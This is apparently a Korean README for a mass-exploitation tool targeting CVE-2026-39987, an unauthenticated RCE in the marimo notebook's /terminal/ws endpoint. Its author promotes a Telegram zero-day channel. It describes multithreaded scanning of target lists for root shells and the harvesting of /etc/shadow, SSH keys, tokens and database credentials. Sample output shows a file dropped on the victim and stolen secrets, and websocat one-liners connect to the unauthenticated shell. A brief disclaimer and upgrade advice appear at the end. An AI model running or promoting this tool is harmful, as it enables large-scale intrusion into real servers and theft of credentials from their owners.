
marimo는 반응형 Python 노트북입니다. 0.23.0 이전 버전에서 Marimo에는 사전 인증 RCE(Pre-Auth RCE) 취약점이 있습니다.
marimo는 반응형 Python 노트북입니다. 0.23.0 이전 버전의 Marimo에는 사전 인증(Pre-Auth) RCE 취약점이 있습니다.
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — 인증되지 않은 WebSocket 사전 인증 RCE
작성자: Nxploited · 텔레그램: @KNxploited
📢 최신 무료 제로데이 및 익스플로잇을 위한 텔레그램 채널에 가입하세요:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987은 오픈소스 반응형 Python 노트북 플랫폼인 Marimo에 영향을 미치는 치명적인 사전 인증 원격 코드 실행(Pre-Authentication RCE) 취약점입니다.
터미널 WebSocket 엔드포인트 /terminal/ws에는 인증 검증이 전혀 없어, 인증되지 않은 원격 공격자가 완전한 PTY 셸을 획득하고 실행 중인 프로세스의 권한(컨테이너 배포 환경에서는 대개 root)으로 임의의 시스템 명령을 실행할 수 있습니다.
/ws와 같은 다른 WebSocket 엔드포인트는 연결을 수락하기 전에 validate_auth()를 올바르게 호출하지만, /terminal/ws 엔드포인트는 실행 모드와 플랫폼 호환성만 확인하고 인증을 완전히 건너뜁니다.
✅ 패치 버전:
marimo >= 0.23.0❌0.23.0이전의 모든 버전이 취약합니다
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
/terminal/ws 핸들러는 다음 항목만 확인합니다:
세션 토큰, 쿠키 또는 어떤 형태의 신원도 검증하지 않으므로, 노출된 모든 Marimo 인스턴스가 곧바로 셸이 됩니다.
.py Marimo 노트북을 재귀적으로 탐색하고 읽기.env 파일 · wp-config.php · SSH 개인 키 · /etc/shadowPython 3.10 or higher
종속성 설치:
pip install websockets rich requests urllib3
또는 요구 사항 파일 사용:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
targets.txt라는 파일을 만들고 각 줄에 대상 하나씩 입력하세요.
이 도구는 다음 모든 형식을 지원합니다:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
지원 형식: IP · IP:포트 · 도메인 · 도메인:포트 ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
스레드 범위: 1–300. 네트워크 상태에 따라 50–150 권장.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
취약한 대상을 식별한 후 websocat을 사용하여 수동으로 연결하세요:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
Authorization헤더 값은 중요하지 않습니다. 이 엔드포인트는 토큰 유무와 관계없이 모두 허용합니다.
프로덕션 또는 외부 노출 환경에서 Marimo를 실행 중이라면:
marimo >= 0.23.0으로 즉시 업그레이드하세요127.0.0.1에만 바인딩하세요 — 인터넷에 직접 노출하지 마세요/terminal/ws 액세스를 제한하세요이 도구는 교육 목적, 승인된 침투 테스트 및 정당한 보안 연구를 위해서만 엄격히 제공됩니다.
이 도구를 어떤 대상에 대해 실행하기 전에 시스템 소유자의 명시적 서면 허가를 반드시 받아야 합니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법이며, 컴퓨터 사기 및 남용법(CFAA), 컴퓨터 오용법, EU 사이버 범죄 지침 및 관할권의 동등한 법률을 포함하되 이에 국한되지 않는 관련 컴퓨터 범죄 법률에 따라 민사 및/또는 형사 기소될 수 있습니다.
저자는 이 도구의 오용으로 인해 발생하는 손해, 데이터 손실 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.
책임감 있게 사용하세요. 윤리적으로 해킹하세요.
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-39987 |
| 영향을 받는 소프트웨어 | marimo < 0.23.0 |
| 취약점 유형 | 인증되지 않은 WebSocket을 통한 사전 인증 RCE |
| 영향을 받는 엔드포인트 | /terminal/ws |
| 공격 경로 | 네트워크 |
| 인증 필요 | ❌ 없음 |
| 사용자 상호작용 | ❌ 없음 |
| 심각도 | 🔴 치명적 |
| 영향 | 전체 PTY 셸 · 임의 명령 실행 |
| 수정 버전 | marimo 0.23.0 |
| 아이콘 | 수준 | 설명 |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — 전체 루트 액세스 |
✦✦ 🟡 | PRIV | sudo · wheel · docker · disk · adm 그룹 멤버 |
✦ 🔵 | SHELL | 권한 없는 셸 액세스 |
✗ 🔴 | FAIL | 연결 거부 · 시간 초과 · HTTP 오류 |
| 환경 | 자동 탐지 | 특화 수집 |
|---|
| 🟣 Marimo | ✅ | 노트북 · 토큰 · DuckDB · .marimo.toml · 마운트 |
| 🔵 cPanel / WHM | ✅ | userdomains · MySQL 비밀번호 · WHM 사용자 목록 |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · MySQL 관리자 자격 증명 |
| 🌐 Apache | ✅ | VirtualHosts · sites-enabled · 액세스/오류 로그 |
| 🟢 Nginx | ✅ | 서버 블록 · conf.d · 액세스/오류 로그 |
| 🐍 Python App | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · public 디렉터리 |
| 🐳 Docker | ✅ | 바인드 마운트 · 컨테이너 로컬 스토리지 탐지 |
| ⚙️ 일반(Generic) | ✅ | 알 수 없는 환경에 대한 전체 정보 수집 스위트 |
| 핸들 | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| 채널 | Nxploited ZeroDay Hub |
"조용해질수록, 더 많은 것을 들을 수 있다."
⭐ 이 도구가 유용했다면 스타를 남기고 더 많은 제로데이를 위해 채널에 가입하세요! ⭐